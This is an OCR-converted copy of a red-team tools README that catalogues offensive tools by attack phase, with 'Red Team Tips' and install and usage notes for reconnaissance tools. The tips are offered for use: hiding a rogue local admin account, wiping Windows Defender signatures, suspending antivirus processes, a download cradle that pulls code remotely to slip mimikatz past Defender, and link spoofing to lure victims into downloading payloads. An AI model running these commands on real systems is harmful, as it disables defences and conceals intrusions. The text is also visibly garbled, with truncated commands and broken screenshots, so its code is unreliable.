RedTeam-Tools

This github repository contains a collection of 130+ tools and resources that can be useful for
red teaming activities.

Some of the tools may be specifically designed for red teaming, while others are more general-
purpose and can be adapted for use in a red teaming context.

Tool List

¥ Red Team Tips 17 tips
Hiding the local admin account @A/h4zr3d

(¢]

o Cripple windows defender by deleting signatures @A/h4zr3d

o Enable multiple RDP sessions per user @A/h4zr3d

o Sysinternals PsExec.exe local alternative @GuhnooPlusLinux

o Live off the land port scanner @A/h4zr3d

o Proxy aware PowerShell DownloadString @A/h4zr3d

o Looking for internal endpoints in browser bookmarks @A/h4zr3d

o Query DNS records for enumeration @A/h4zr3d

o Unquoted service paths without PowerUp @A/h4zr3d

o Bypass a disabled command prompt with [k Martin Sohn Christensen
o Stop windows defender deleting mimikatz.exe @GuhnooPlusLinux

o Check if you are in a virtual machine @dmcxblue



Enumerate AppLocker rules @A/h4zr3d

CMD shortcut with 6 pixels via mspaint PenTestPartners
Link spoofing with PreventDefault JavaScript method
Check SMB firewall rules with Responder @malmoeb

Disable AV with Sysinternals PsSuspend @Ogtweet

¥ Reconnaissance 20 tools

o
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crt.sh -> httprobe -> EyeWitness Automated domain screenshotting
jsendpoints Extract page DOM links

nuclei Vulnerability scanner

certSniff Certificate transparency log keyword sniffer
gobuster Website path brute force

feroxbuster Fast content discovery tool written in Rust
CloudBrute Cloud infrastructure brute force

dnsrecon Enumerate DNS records

Shodan.io Public facing system knowledge base

AORT (All in One Recon Tool) Subdomain enumeration
spoofcheck SPF/DMARC record checker
AWSBucketDump S3 bucket enumeration
GitHarvester GitHub credential searcher

truffleHog GitHub credential scanner

Dismap Asset discovery/identification

enum4linux Windows/samba enumeration

skanuvaty Dangerously fast dns/network/port scanner
Metabigor OSINT tool without AP/

Gitrob GitHub sensitive information scanner

gowitness Web screenshot utility using Chrome Headless

¥ Resource Development 11 tools

o
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Chimera PowerShell obfuscation

msfvenom Payload creation

Shellter Dynamic shellcode injection tool

Freeze Payload creation (circumventing EDR)
WordSteal Steal NTML hashes with Microsoft Word

NTAPI Undocumented Functions Windows NT Kernel, Native APl and drivers



Kernel Callback Functions Undocumented Windows APIs

OffensiveVBA Office macro code execution and evasion techniques

WSH Wsh payload
HTA Hta payload
VBA Vba payload

¥ Initial Access 6 tools
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o
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Bash Bunny USB attack tool

EvilGoPhish Phishing campaign framework

The Social-Engineer Toolkit Phishing campaign framework
Hydra Brute force tool

SquarePhish OAuth/QR code phishing framework

King Phisher Phishing campaign framework

¥ Execution 13 tools
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o
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o

Responder LLMNR, NBT-NS and MDNS poisoner
secretsdump Remote hash dumper

evil-winrm WinRM shell

Donut In-memory .NET execution

Macro_pack Macro obfuscation

PowerSploit PowerShell script suite

Rubeus Active directory hack tool

SharpUp Windows vulnerability identifier
SQLRecon Offensive MS-SQL toolkit

UltimateAppLockerByPassList Common AppLocker Bypass Techniques
StarFighters JavaScript and VBScript Based Empire Launcher

demiguise HTA encryption tool

PowerZure PowerShell framework to assess Azure security

¥ Persistence 4 tools

(¢]

(¢]

o
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Impacket Python script suite
Empire Post-exploitation framework
SharPersist Windows persistence toolkit

ligolo-ng Tunneling tool that uses a TUN interface

¥ Privilege Escalation 10 tools
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LinPEAS Linux privilege escalation



WiInPEAS Windows privilege escalation
linux-smart-enumeration Linux privilege escalation
Certify Active directory privilege escalation
Get-GPPPassword Windows password extraction
Sherlock PowerShell privilege escalation tool
Watson Windows privilege escalation tool
ImpulsiveDLLHijack DLL Hijack tool

ADFSDump AD FS dump tool

BeRoot Multi OS Privilege Escalation Project

¥ Defense Evasion 8 tools

o
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Invoke-Obfuscation Script obfuscator

Veil Metasploit payload obfuscator

SharpBlock EDR bypass via entry point execution prevention
Alcatraz GUI x64 binary obfuscator

Mangle Compiled executable manipulation

AMSI Fail PowerShell snippets that break or disable AMSI

ScareCrow Payload creation framework designed around EDR bypass

moonwalk Linux system log and filesystem timestamp remover

¥ Credential Access 11 tools
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o
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Mimikatz Windows credential extractor

LaZagne Local password extractor

hashcat Password hash cracking

John the Ripper Password hash cracking

SCOMDecrypt SCOM Credential Decryption Tool

nanodump LSASS process minidump creation

eviltree Tree remake for credential discovery

SeeYouCM-Thief Cisco phone systems configuration file parsing
MailSniper Microsoft Exchange Mail Searcher

SharpChromium Cookie, history and saved login chromium extractor

dploot DPAPI looting remotely in Python

¥ Discovery 6 tools
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PCredz Credential discovery PCAP/live interface
PingCastle Active directory assessor

Seatbelt Local vulnerability scanner



o ADRecon Active directory recon
o adidnsdump Active Directory Integrated DNS dumping

o scavenger Scanning tool for scavenging systems

v Lateral Movement 12 tools
o crackmapexec Windows/Active directory lateral movement toolkit

o WMIOps WMI remote commands

o PowerLessShell Remote PowerShell without PowerShell

o PsExec Light-weight telnet-replacement

o LiquidSnake Fileless lateral movement

o Enabling RDP Windows RDP enable command

o Upgrading shell to meterpreter Reverse shell improvement
o Forwarding Ports Local port forward command

o Jenkins reverse shell Jenkins shell command

o ADFSpoof Forge AD FS security tokens

o kerbrute A tool to perform Kerberos pre-auth bruteforcing
o Coercer Coerce a Windows server to authenticate

o WMIOps WMI remote commands

¥ Collection 3 tools
o BloodHound Active directory visualisation

o Snaffler Active directory credential collector

o linWinPwn Active Directory Enumeration and Vulnerability checks

¥ Command and Control 9 tools
o Living Off Trusted Sites Project Leverage legitimate domains for your C2

o Havoc Command and control framework

o Covenant Command and control framework (.NET)

o Merlin Command and control framework (Golang)

o Metasploit Framework Command and control framework (Ruby)
o Pupy Command and control framework (Python)

o Brute Ratel Command and control framework ($$$)

o NimPlant C2 implant written in Nim

o Hoaxshell PowerShell reverse shell

v Exfiltration 5 tools
o Dnscat2 C2 via DNS tunneling



o

Cloakify Data transformation for exfiltration
PyEXxfil Data exfiltration PoC

Powershell RAT Python based backdoor
GD-Thief Google drive exfiltration

(¢]
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o

¥ Impact 4 tools
Conti Pentester Guide Leak Conti ransomware group affilate toolkit

(¢]
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SlowLoris Simple denial of service

usbkill Anti-forensic kill-switch

o
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Keytap Get pressed keyboard keys from typing audio

Red Team Tips

Learn from Red Teamers with a collection of Red Teaming Tips. These tips cover a range of
tactics, tools, and methodologies to improve your red teaming abilities.

Note: Nearly all tips are currently from @Alh4zr3d, he posts good Red Team Tips!

s Hiding the local admin account

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccoun

Description: 'Creating accounts is risky when evading blue, but when creating a local admin,
use some cute sorcery in the registry to hide it.'

Credit: @Alh4zr3d

Link: Twitter

“Cripple windows defender by deleting signatures

"%sProgram Files%\Windows Defender\MpCmdRun.exe" —-RemoveDefinitions -All
Description: ‘A bit messy, but if Windows Defender is causing you a big headache, rather than
disabling it (which alerts the user), you should just neuter it by deleting all the signatures.’
Credit: @Alh4zr3d

Link: Twitter



= Enable multiple RDP sessions per user

reg add HKLM\System\CurrentControlSet\Control\TerminalServer /v fSingleSessionPer

Description: 'Sometimes you want to log in to a host via RDP or similar, but your user has an
active session. Enable multiple sessions per user.'

Credit: @Alh4zr3d

Link: Twitter

= Sysinternals PsExec.exe local alternative

wmic.exe /node:10.1.1.1 /user:username /password:pass process call create cmd.exe

Description: ‘Are you tired of uploading Sysinternals PsExec.exe when doing lateral movement?
Windows has a better alternative preinstalled. Try this instead.’

Credit: @GuhnooPlusLinux

Link: Twitter
« Live off the land port scanner

0..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect(<tgt_ip>,$_)) "Por

Description: 'When possible, live off the land rather than uploading tools to machines (for many
reasons). PowerShell/.NET help. Ex: simple port scanner in Powershell.'

Credit: @Alh4zr3d

Link: Twitter
“Proxy aware PowerShell DownloadString

$w=(New-Object Net.WebClient);$w.Proxy.Credentials=[Net.CredentialCachel::Default

Description: ‘Most large orgs are using web proxies these days. The standard PowerShell
download cradle is not proxy aware. Use this one.’



Credit: @Alh4zr3d

Link: Twitter
s Looking for internal endpoints in browser bookmarks

type "C:\Users\%USERNAMES\AppData\Local\Google\Chrome\User Data\Default\Bookmarks

Description: 'You'd be surprised what you can find out from a user's bookmarks alone. Internal
endpoints they can access, for instance.'

Credit: @Alh4zr3d

Link: Twitter

= Query DNS records for enumeration

Get-DnsRecord —-RecordType A -ZoneName FQDN -Server <server hostname>

Description: 'Enumeration is 95% of the game. However, launching tons of scans to evaluate
the environment is very loud. Why not just ask the DC/DNS server for all DNS records?’

Credit: @Alh4zr3d

Link: Twitter

sUnquoted service paths without PowerUp

Get-CIMInstance —-class Win32_Service -Property Name, DisplayName, PathName, Start

Description: 'Finding unquoted service paths without PowerUp'
Credit: @Alh4zr3d

Link: Twitter

“Bypass a disabled command prompt with [k

cmd.exe /k "whoami"



Description: 'This command prompt has been disabled by your administrator..." Can usually be
seen in environments such as kiosks PCs, a quick hacky work around is to use /k via the
windows run box. This will carry out the command and then show the restriction message,
allowing for command execution.

Credit: Martin Sohn Christensen

Link: Blog
= Stop windows defender deleting mimikatz.exe

(new—-object net.webclient).downloadstring('https://raw.githubusercontent[.]com/BC

Description: ‘Are you tired of Windows Defender deleting mimikatz.exe? Try this instead.’
Credit: @GuhnooPlusLinux

Link: Twitter
= Check if you are in a virtual machine

reg query HKLM\SYSTEM /s | findstr /S "VirtualBox VBOX VMWare"

Description: 'Want to know if you are in a Virtual Machine? Query the registry Keys and find
out!!! If any results show up then you are in a Virtual Machine.'

Credit: @dmcxblue

Link: Twitter

= Enumerate AppLocker rules

(Get-AppLockerPolicy -Local).RuleCollections
Get-ChildItem -Path HKLM:Software\ \ \ \ 2 —Recurse

reg query HKEY_LOCAL_MACHINE\ \ \ \ \SrpV2\Exe\

Description: ‘AppLocker can be a pain. Enumerate to see how painful’'

Credit: @Alh4zr3d



Link: Twitter

=CMD shortcut with 6 pixels via mspaint

) cmd.bmp - Paint A [=] 5

- -

[_ l 800%
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1. Open MSPaint.exe and set the canvas size to: Width=6 and Height=1 pixels

2. Zoom in to make the following tasks easier

3. Usin

o
o
o
o
o

(e]

g the colour picker, set pixels values to (from left to right):
1st: R: 10, G: 0, B: O

2nd: R: 13, G: 10, B: 13

3rd: R: 100, G: 109, B: 99

4th: R: 120, G: 101, B: 46

5th: R: 0, G: O, B: 101

6th: R: 0, G: 0, B: O

4. Save it as 24-bit Bitmap (.bmp;.dib)

5. Change its extension from bmp to bat and run.

Description: ‘An unusual, yet effective method of gaining a shell by creating a shortcut to

cmd.exe

by drawing certain colours in Microsoft Paint. Due to the encoding algorithm used to

write BMP files, it is possible to dictate ASCII data written into a file by carefully selecting certain
RGB colours.'

Credit: PenTestPartners

Link: Blog

Link spoofing with PreventDefault JavaScript method



&Y PreventDefault Example

C A ©OrFie

Go to Google

https://google.com

< >
< >
< charset="UTF-8">
< >PreventDefault Example</ >
</ >
< >
<a href="https://tinyurl.com/mbg3m" onclick="event.preventDefault(); window.l
</ >
</ >

Description: Threat actors have been observed using this technique to trick victims into clicking
spoofed in-page malware download links. Using the PreventDefault JavaScript method you can
spoof the hover link to display a legit link google.com , but once clicked the victim will be
redirected to your malicious link bing.com . Great for getting victims to download payloads via a
controlled site.

Link: PreventDefault Docs

s Check SMB firewall rules with Responder



[SMB] NTLMv2-SSP Client :
[SMB] NTLMv2-SSP Username :
[SMB] NTLMv2-SSP Hash

Copy-Item —-Path "C:\tmp\" -Destination "\\<ip_running_responder>\c$"

Description: 'When | do a Compromise Assessment, | often ask the customer if | can do a last
quick check: Copy-Item —Path "C:\tmp\" -Destination "\\<ip_running_responder>\c$" . If
Responder could capture the hash, the firewall allows outgoing SMB connections'

Credit: @malmoeb

Link: Twitter

“Disable AV with SysInternals PsSuspend

— Q — () X
spend.exe bdredline.exe

Details EB Run new task @ End task
Name PID Status User name CPU Memory
B AggregatorHost.exe 4944 Running SYSTEM 00 1¢
‘W ApplicationFrameHost.exe 6020 Running User 00 4
Bbdredlme‘exe 9312 Suspended SYSTEM 00 1
B conhost.exe 2684 Running User 00 6
B csrss.exe 704 Running SYSTEM 00 1.0
W csrss.exe 796 Running SYSTEM 00 1
B ctfmon.exe 7652 Running User 00 3¢
8 DiscoverySrv.exe 5612 Running SYSTEM 00 15
B dilhostexe 9660 Running User 00 1
W dilhostexe 6156  Running User 00 3
8 dwm.exe 1148 Running DWM-1 00 76,2
== explorer.exe 5148 Running User 00 77(
B fontdrvhostexe 648 Running UMFD-1 00 4

Description: Using the Microsoft Sysinternals tool PsSuspend.exe it's possible to suspend some
AV service executables. The Microsoft signed tool can be passed the PID or Name of a running



service, it will suspend the process via the NtSuspendProcess Windows API.
Related Blog Post: Bypassing AV via Process Suspension with PsSuspend.exe

Link: Twitter
Reconnaissance

ocrt.sh -> httprobe -> EyeWitness
| have put together a bash one-liner that:

e Passively collects a list of subdomains from certificate associations (crt.sh)
e Actively requests each subdomain to verify it's existence (httprobe)

e Actively screenshots each subdomain for manual review (EyeWitness)

Usage:

domain=DOMAIN_COM; rand=$RANDOM; curl —-fsSL "https://tinyurl.com/ntc9lta?g=${domain

Note: You must have httprobe, pup and EyeWitness installed and change 'DOMAIN_COM' to the
target domain. You are able to run this script concurrently in terminal windows if you have
multiple target root domains




Table of Contents

e Uncategorized (Page 1)

e 401/403 Unauthorized (Page 5)

« 404 Not Found (Page 5)

« Bad Request (Page 6)
Uncategorized 104
401/403 Unauthorized 20
404 Not Found 10
Bad Request 12
Errors 40
Total 186

= jsendpoints
A JavaScript bookmarklet for extracting all webpage endpoint links on a page.

Created by @renniepak, this JavaScript code snippet can be used to extract all endpoints
(starting with /) from the current webpage DOM including all external script sources embedded
on the webpage.

javascript: (function(){var scripts=document.getElementsByTagName("script"), regex=

Usage (Bookmarklet)
Create a bookmarklet...

e Right click your bookmark bar
e (lick 'Add Page'
e Paste the above Javascript in the 'url' box

e (Click 'Save'

...then visit the victim page in the browser and click the bookmarklet.



https://www.hackerone.com X +

& C & hackerone.com

& jsendpoints

'/static.ads-twitter.com/uwt.js
‘'munchkin marketo.net/162/munchkin js

Detected

‘called

‘themes/hacker_one/favicon.ico

‘themes/hacker one/fonts/Poppins/Poppins-Regular ttf
‘themes/hacker_one/fonts/Poppins/Poppins-SemiBold ttf
‘themes/hacker_one/fonts/PoppinsPoppins-Medium ttf
‘themes/hacker_one/fontsPoppinsPoppins-Bold. ttf

‘themes/hacker_one/fonts Ubuntu_Mono/UbuntuMono-Bold. ttf
‘themes/hacker_one/fonts/Crimson_Pro/static/CrimsonPro-Regular.ttf
'sites/default/files/css/css_omw3DdYUVDXUpWUpHgnE 7kgN Sxae2 XfxpfSpcLMALdJIM css
'snes default/files/css/css_JjzZKpC_XX-KScuGG9enfMXddSuZkCISCHOhepzS1ZVY css

(S 1T~ 1.1 - - T 1N TTA AT A MT TOATSAATY AT M T T xr AT M >

Usage (Console)

Paste the above Javascript into the console window F12 and press enter.

https://www.hackerone.com X +

& C @ hackerone.com

@ jsendpoints

/static_ads-twitter.com/uwt js
'munchkin marketo.net/162/munchkin js ' EEE R Fiter N e e

javascript:(

: scripts=document.g 1 TagName("script regex=

Detected i : =R T . S —

‘called ; : -length;

P , . . i i ;" " 1=t&&fetch(t).then( (t){

themes/hacker_one/favicon.ico .tex - (t){var e=t.matchAll(regex);for(let r

! ' ! s : 1ts.add 5] .catch L= le.log n error oc

themes/hacker_one/fonts/Poppins/Poppins-Regular.ttf Y el 1Y)-catch( (t)consola.log(

‘themes hacker one/fonts Poppins‘ Poppins— pageContent=document . document Element .outerHTML ,matches=pageContent.matchA
. - 11(regex); ( mat matches)results.add(match[8]);

SemLBold.ttf writeResults(){results.forEach( (t){document.write(t+

)}) }setTimeout(writeResults,3e3);})();

‘themes/hacker one/fonts/Poppins/Poppins-Medium ttf
‘themes/hacker_one/fonts/Poppins/Poppins-Bold.ttf
‘themes/hacker_one/fonts Ubuntu_Mono/UbuntuMono-

Bold.ttf :
Jule m e e M e e Vte e e S e MY e e D (et a MV e o _..'I:._
* nuclei

Fast vulnerability scanner that uses .yaml templates to search for specific issues.

Install:

go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest



Usage:

cat domains.txt | nuclei -t /PATH/nuclei-templates/

nuclei -t amazon-mww-secret-leak.yaml -1 staging-apps.txt

yrojectdiscovery. 10
f J Y

[WRN] Use with caution. You are responsible for your actions

[WRN] Developers assume no liability and are not responsible for any misuse or damage.
[INF] Loading templates...

[INF] [amazon-mww-secret-leak] Amazon MWS Auth Token leak (@puzzlepeaches) [medium]
[INF] Using 1 rules (1 templates, 0 workflows)

[amazon-mww-secret-leak] [http] [medium] https://internal.example.con
[amazon-n secret-leak] [http] [medium] https://build-app.example
[amazon-n secret-leak] [http] [med

ium] https://staging.admin.example.com

& certSniff

certSniff is a Certificate Transparency logs keyword watcher | wrote in Python. It uses the
certstream library to watch for certificate creation logs that contain keywords, defined in a file.

You can set this running with several keywords relating to your victim domain, any certificate
creations will be recorded and may lead to the discovery of domains you were previously
unaware of.

Install:
git clone https://tinyurl.com/22ezdgya;cd certSniff/;pip install -r requirements.
Usage:

python3 certSniff.py —-f example.txt



2% python3 certSniff.py

~gobuster

Nice tool for brute forcing file/folder paths on a victim website.

Install:
sudo apt install gobuster
Usage:

gobuster dir -u "https://tinyurl.com/mbg3m" -w /usr/share/wordlists/dirb/big.txt



& feroxbuster

A tool designed to perform Forced Browsing, an attack where the aim is to enumerate and
access resources that are not referenced by the web application, but are still accessible by an
attacker.

Feroxbuster uses brute force combined with a wordlist to search for unlinked content in target
directories. These resources may store sensitive information about web applications and
operational systems, such as source code, credentials, internal network addressing, etc...

Install: (Kali)

sudo apt update && sudo apt install -y feroxbuster

Install: (Mac)

curl —sL https://tinyurl.com/22fdn669 | bash

Install: (Windows)

Invoke-WebRequest https://tinyurl.com/y55x49v2/releases/latest/download/x86_64-wi
Expand-Archive .\feroxbuster.zip
.\feroxbuster\feroxbuster.exe -V

For full installation instructions see here.

Usage:

./feroxbuster —u https://tinyurl.com/y40z27tt -x pdf -x js,html -x php txt json,d



./feroxbuster —u https://tinyurl.com/y40z27tt -H Accept:application/json "Authori
cat targets | ./feroxbuster ——stdin ——silent -s 200 301 302 —-redirects -x js | f

./feroxbuster —u https://tinyurl.com/y40z27tt ——insecure ——proxy https://tinyurl.

Full usage examples can be found here.

)
)-> ./feroxbuster ——url https://bitdiscovery.com ——depth 2 —wordlist words

N N N V2 A A B N
I— | N1 N\, \_//\N| |

|
l
by Ben "epi" Risher & ver: 1.11.1

Target Url https://bitdiscovery.com

Threads 50

Wordlist words

Status Codes

Timeout (secs)

User-Agent feroxbuster/1.11.1

Config File /home/epi/.config/feroxbuster/ferox-config.toml
Recursion Depth P

New Version Available | https://github.com/epi@52/feroxbuster/releases/latest

Press |[ ] to your scan

101 16w https://bitdiscovery.com/js
11 2w https://bitdiscovery.com/ADMIN
1261 281w https://bitdiscovery.com/access
1261 281w https://bitdiscovery.com/About
333w https://bitdiscovery.com/api/experiments/configurations
ow https://bitdiscovery.com/Login
281w https://bitdiscovery.com/Press
16w https://bitdiscovery.com/homepage
281w https://bitdiscovery.com/about
16w https://bitdiscovery.com/images
] -1s 496/2828  6s :10 :0
] -1s 281/707 240/s  https://bitdiscovery.com
] - 0s 199/707 268/s https://bitdiscovery.com/js
] -es /707 0/s https://bitdiscovery.com/homepage
] -0s 0/707 0/s https://bitdiscovery.com/images

*Image used from https://tinyurl.com/2cnlimejr

* CloudBrute

A tool to find a company (target) infrastructure, files, and apps on the top cloud providers
(Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).

Features:

Cloud detection (IPINFO API and Source Code)

Fast (concurrent)

Cross Platform (windows, linux, mac)

User-Agent Randomization



e Proxy Randomization (HTTP, Socksb)
Install:
Download the latest release for your system and follow the usage.

Usage:

CloudBrute -d target.com -k target -m storage -t 80 -T 10 -w "./data/storage_smal

CloudBrute —-d target.com -k keyword -m storage -t 80 -T 10 -w —-c amazon -0 target

=» cloudbrute git:( ) X ./CloudBrute -d github.com -k github -t 80 -T 10 -
"./data/storage small.txt"™ -m storage

-TI-TI.TI B i B B B
IZH%III H—EE HE—EE—EE—E NN

EII B B N B e N N
5" B N NN N s N N

‘_-m " .

| IS | | S | S | IS | (| | [ | S | || O | S
—
V 1.0.3
INF Detect config path: config/config.yaml
Detect provider path: config/modules
INF Initialized scan config

INF amazon detected
Initialized amazon config

Image used from https://tinyurl.com/29b6f8xp

* dnsrecon

dnsrecon is a pyhton tool for enumerating DNS records (MX, SOA, NS, A, AAAA, SPF and TXT)
and can provide a number of new associated victim hosts to pivot into from a single domain



search.

Install:

sudo apt install dnsrecon

Usage:

dnsrecon -d google.com

google.com

com 173.19

A google.com 142.250.187.

* shodan.io

Shodan crawls public infrastructure and displays it in a searchable format. Using a company
name, domain name, IP address it is possible to discover potentially vulnerable systems relating
to your target via shodan.



®% SHODAN

Dashboard

[E Getting Started >_ ASCII Videos

DEVELOPER PORTAL

SAORT

Tool for enumerating subdomains, enumerating DNS, WAF detection, WHOIS, port scan,
wayback machine, email harvesting.

Install:
git clone https://tinyurl.com/2cqspr5f; cd AORT; pip3 install -r requirements.txt
Usage:

python3 AORT.py —-d google.com



= spoofcheck

A program that checks if a domain can be spoofed from. The program checks SPF and DMARC
records for weak configurations that allow spoofing. Additionally it will alert if the domain has
DMARC configuration that sends mail or HTTP requests on failed SPF/DKIM emails.

Domains are spoofable if any of the following conditions are met:

e Lack of an SPF or DMARC record
e SPF record never specifies ~all or -all

¢ DMARC policy is set to p=none or is nonexistent



Install:

git clone https://tinyurl.com/2b39ch7f; cd spoofcheck; pip install -r requirement

Usage:

./spoofcheck.py [DOMAIN]

:~/SimpleEmailSpoofer# ./spoofcheck/spoofcheck.py outlook.com
[*] Found SPF record:
v=spfl include:spf-a.outlook.com include:spf-b.outlook.com ip4:157.55.9.128/25 include:spf.prote

osoft.com ~all
[*] SPF record contains an A1l item: ~all

C record:
1, p=none; pct=100; rua=mailto:d@rua.agari.com,mailto:dmarc_agg@auth.returnpath.net; ruf=
@ruf.agari.com,mailto:dmarc_afrf@auth.returnpath.net; fo=1
DMARC policy set to none
Aggregate reports will be sent: mailto:d@rua.agari.com,mailto:dmarc_agg@
Forensics reports will be sent: mailto:d@ruf.agari.com,mailto:dmarc_afrf
Spoofing possible for outlook.com!

auth.returnpath.net
@auth.returnpath.net

AWSBucketDump

AWSBucketDump is a tool to quickly enumerate AWS S3 buckets to look for interesting files. It's
similar to a subdomain bruteforcer but is made specifically for S3 buckets and also has some
extra features that allow you to grep for files, as well as download interesting files.

Install:
clone https://tinyurl.com/ycdubeqz; AWSBucketDump; install -r requirem
Usage:

: AWSBucketDump.py [-h] [-D] [-t THREADS] -1 HOSTLIST [-g GREPWORDS] [-m MAX

optional arguments:

-h, —-help show this help message and exit

-D Download files. This requires significant diskspace

—d If set to 1 or True, create directories for each host w/ results
-t THREADS number of threads

-1 HOSTLIST

—g GREPWORDS Provide a wordlist to grep for

-m MAXSIZE Maximum file size to download.

python AWSBucketDump.py -1 BucketNames.txt —-g interesting_Keywords.txt -D -m 500



& GitHarvester

Nice tool for finding information from GitHub with regex, with the ability to search specific
GitHub users and/or projects.

Install:
git clone https://tinyurl.com/2yrkzuhp; cd GitHarvester
Usage:

./githarvester.py

= truffleHog

TruffleHog is a tool that scans git repositories and looks for high-entropy strings and patterns
that may indicate the presence of secrets, such as passwords and API keys. With TruffleHog,
you can quickly and easily find sensitive information that may have been accidentally committed
and pushed to a repository.

Install (Binaries): Link

Install (Go):

git clone https://tinyurl.com/292rjlza cd trufflehog; go install

Usage:

trufflehog https:



(.env) root@trufflehog:~# trufflehog https://github.com/trufflesecurity/test_keys

Reason: High Entropy

Date: 2022-02-15 23:17:18

Hash: cOc9lecaa766le70ee9déd6cb0Oba366e2dc215c3
Filepath: keys

Branch: origin/main

Commit: Update keys

ee -2,8 +2,12 @@ Basic auth:

https://admin:admin@the-internet.herokuapp.com/basic_auth

-AWS base64 encoded:
—~W2R1ZmF1bHRACMF3c19hY2N1c3Nfa2v5X21kID0gQUtIQVIWUDRDSVBQTFhFWEEZN1IKYXdzX3N1Y3J1dF9hY2N1lc3Nfa2v5ID0gcecl
XRwdXQgPSBgc29uCnJ1Z21vbiA9TIHVZLWVhc3QtMg==

+aws_access_key_id = AKIAYVP4CIPPERUVIFXG
+aws_secret_access_key = Zt2Ulh267eViPnuSA+JOS5ABhiud4T7XUMSZ+Y20th
+output = json

= Dismap

Dismap is an asset discovery and identification tool. It can quickly identify protocols and
fingerprint information such as web/tcp/udp, locate asset types, and is suitable for internal and
external networks.

Dismap has a complete fingerprint rule base, currently including tcp/udp/tls protocol fingerprints
and 4500+ web fingerprint rules, which can identify favicon, body, header, etc.

Install:

Dismap is a binary file for Linux, MacOS, and Windows. Go to Release to download the
corresponding version to run:

chmod +x dismap-0.3-1linux—amd64
./dismap-0.3-1linux—amd64 -h

dismap-0.3-windows—-amd64.exe -h

Usage:

./dismap -i 192.168.1.1/24

./dismap -i 192.168.1.1/24 -o result.txt —-j result.json



./dismap —-i 192.168.1.1/24 ——np ——timeout 10

./dismap —-i 192.168.1.1/24 -t 1000

dismap version: 0.3 release
author: zhzyker && Nemophllist
from: https://github.com/zhzyker/dismap

15:43:0

15:43:

15:43:

15:43: 1
15:43: WARNING] Too few surviving hosts
15:43:

15:43: UDP/NBNS

15:43:0 TCP/Redis

asp Servlet

Apache Bootstrap

12
output. txt

Image used from https://tinyurl.com/2y7tqq2f

& enumd4linux
A tool for enumerating information from Windows and Samba systems.

It can be used to gather a wide range of information, including:

Domain and domain controller information

Local user and group information

Shares and share permissions

Security policies

Active Directory information

Install: (Apt)

sudo apt install enum4linux

Install: (Git)



git clone https://tinyurl.com/2cplwqj3
cd enum4linux

Usage:

enum4linux.pl —-a 192.168.2.55
enum4linux.pl -U 192.168.2.55
enum4linux.pl —-u administrator -p password -U 192.168.2.55
enum4linux.pl -G 192.168.2.55
enum4linux.pl -v 192.168.2.55

Full usage information can be found in this blog.

:~# enumd4linux 192.168.1.11
Starting enumd4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu Sep 17 12:37:09 2020

192.168.1.11
RID Range 500-550,1000-1050
Username

Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

Looking up status of 192.168.1.11
No reply from 192.168.1.11

Session Check on 192.168.1.11

Use of uninitialized value $global workgroup in concatenation (.) or string at ./enumd4linux.pl line 437.
[E] Server doesn't allow session using username '', password ''. Aborting remainder of tests.

*Image used from https://tinyurl.com/26ttz8hv

= skanuvaty



Dangerously fast dns/network/port scanner, created by Esc4iCEscEsc, written in rust.
You will need a subdomains file. E.g. Subdomain wordlist by Sublist3r.
Install:

Download the latest release from here.

sudo apt install wordlists
ls /usr/share/dirb/wordlists
1s /usr/share/amass/wordlists

Usage:

skanuvaty —-target example.com —-concurrency 16 —--subdomains-file SUBDOMAIN_WORDL

Image used from https://tinyurl.com/26btchcj

= Metabigor
Metabigor is Intelligence tool, its goal is to do OSINT tasks and more but without any API key.
Main Features:

e Searching information about IP Address, ASN and Organization.
e Wrapper for running rustscan, masscan and nmap more efficient on IP/CIDR.

e Finding more related domains of the target by applying various techniques (certificate,
whois, Google Analytics, etc).

e Get Summary about IP address (powered by @thebl4ckturtle)

Install:

go install github.com/j3ssie/metabigor@latest



Usage:

echo "company" | metabigor net —--org -o /tmp/result.txt

echo 'Target Inc' | metabigor cert ——json | jq -r '.Domain' | unfurl format %r.%t
echo '1.2.3.4/24"' | metabigor scan -o result.txt

echo 'example.com' | metabigor related -s 'whois'

echo 'https://example.com' | metabigor related -s 'google-analytic'

» /tmp/demo # echo 'tesla' | me igor net --org -v
etabigor beta vl1.1 by @j3ssiejjj
Store log file to: /tmp/metabigor.log

] Starting get IP Info for Organization: tesla

data from: http://asnlookup.com/api/lookup?org=tesla
data from: https://bgp.he.net/search?search¥%5Bsearch%5D=tesla&commit=Search
.95.64.0/24
.120.48.0/24
.120.49.0/24
.66.10.0/24
.66.11.0/24
.66.9.0/24
.234.11.0/24
.133.79.0/24
o .19.141.0/24
0 8.21.14.0/24

Image used from https://tinyurl.com/2yazbe5f

* Gitrob

Gitrob is a tool to help find potentially sensitive files pushed to public repositories on Github.

Gitrob will clone repositories belonging to a user or organization down to a configurable depth
and iterate through the commit history and flag files that match signatures for potentially
sensitive files.

The findings will be presented through a web interface for easy browsing and analysis.

Note: Gitrob will need a Github access token in order to interact with the Github API. Create a



personal access token and save it in an environment variable in your .bashrc or similar shell
configuration file:

export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef

Install: (Go)

go get github.com/michenriksen/gitrob

Install: (Binary)
A precompiled version is available for each release.

Usage:

gitrob {org_name}

gitrob —-save ~/gitrob-session.json acmecorp

gitrob -load ~/gitrob-session.json



gitrob v2.0.0-beta started at 2018-06-09T12:38:23+02:00

Loaded 91 signatures

Web interface available at http://127.0.0.1:9393
athering targets...

Analyzing 539 repositories...

*Image used from https://tinyurl.com/24qst9dt

= gowitness

Gowitness is a website screenshot utility written in Golang, that uses Chrome Headless to
generate screenshots of web interfaces using the command line, with a handy report viewer to
process results. Both Linux and macOS is supported, with Windows support mostly working.

Install: (Go)
go install github.com/sensepost/gowitness@latest

Full installation information can be found here.

Usage:

gowitness single https://tinyurl.com/cv8mol7
gowitness scan ——cidr 192.168.0.0/24 ——threads 20

gowitness nmap —f nmap.xml ——open —-service-contains http



gowitness report serve

Full usage information can be found here.

URL Detais

Image used from https://tinyurl.com/y5u7xevp
Resource Development

* Chimera

Chimera is a PowerShell obfuscation script designed to bypass AMSI and antivirus solutions. It
digests malicious PS1's known to trigger AV and uses string substitution and variable
concatenation to evade common detection signatures.

Install:



sudo apt-get update && sudo apt-get install -Vy sed xxd libc-bin curl jq perl gaw
